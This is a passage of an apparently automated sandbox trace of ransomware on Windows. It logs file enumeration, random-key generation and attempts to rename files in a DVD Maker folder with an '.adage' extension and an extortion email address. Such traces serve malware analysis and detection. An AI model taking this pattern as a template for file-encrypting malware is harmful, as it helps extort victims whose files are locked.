dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0058.345] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=6922) returned 1 [0058.345] CloseHandle (hObject=0x1a8) returned 1 [0058.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png")) returned 0x20 [0058.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.345] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.346] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.346] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0058.346] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4959) returned 1 [0058.346] CloseHandle (hObject=0x1a8) returned 1 [0058.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png")) returned 0x20 [0058.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.346] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.346] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.346] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0058.346] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4503) returned 1 [0058.347] CloseHandle (hObject=0x1a8) returned 1 [0058.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png")) returned 0x20 [0058.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.347] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.347] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.347] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0058.348] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3082) returned 1 [0058.348] CloseHandle (hObject=0x1a8) returned 1 [0058.348] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png")) returned 0x20 [0058.348] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.348] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.348] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.348] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0058.348] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3108) returned 1 [0058.349] CloseHandle (hObject=0x1a8) returned 1 [0058.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png")) returned 0x20 [0058.349] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.349] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.349] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.349] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0058.349] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=533292) returned 1 [0058.349] CloseHandle (hObject=0x1a8) returned 1 [0058.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv")) returned 0x20 [0058.350] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.350] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.350] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.350] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0058.351] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=613292) returned 1 [0058.351] CloseHandle (hObject=0x1a8) returned 1 [0058.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv")) returned 0x20 [0058.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.351] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.351] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.351] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0058.352] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=153) returned 1 [0058.352] CloseHandle (hObject=0x1a8) returned 1 [0058.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png")) returned 0x20 [0058.352] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.352] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.352] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.352] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.353] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=132) returned 1 [0058.353] CloseHandle (hObject=0x180) returned 1 [0058.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png")) returned 0x20 [0058.353] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.353] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.353] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.353] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1741316) returned 1 [0058.353] CloseHandle (hObject=0x180) returned 1 [0058.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv")) returned 0x20 [0058.354] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0 [0058.354] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv")) returned 0 [0058.354] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.354] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.354] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1901316) returned 1 [0058.354] CloseHandle (hObject=0x180) returned 1 [0058.354] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv")) returned 0x20 [0058.354] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0 [0058.354] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv")) returned 0 [0058.355] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.355] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.355] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=709220) returned 1 [0058.356] CloseHandle (hObject=0x180) returned 1 [0058.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv")) returned 0x20 [0058.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.356] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.356] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.356] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.356] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=741220) returned 1 [0058.356] CloseHandle (hObject=0x180) returned 1 [0058.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv")) returned 0x20 [0058.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.356] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Notes_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.357] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.357] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.357] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=629220) returned 1 [0058.357] CloseHandle (hObject=0x180) returned 1 [0058.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv")) returned 0x20 [0058.357] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.357] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.357] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.357] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.358] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=661220) returned 1 [0058.358] CloseHandle (hObject=0x180) returned 1 [0058.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv")) returned 0x20 [0058.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.358] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.358] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.358] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.358] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=6716) returned 1 [0058.358] CloseHandle (hObject=0x180) returned 1 [0058.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png")) returned 0x20 [0058.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff 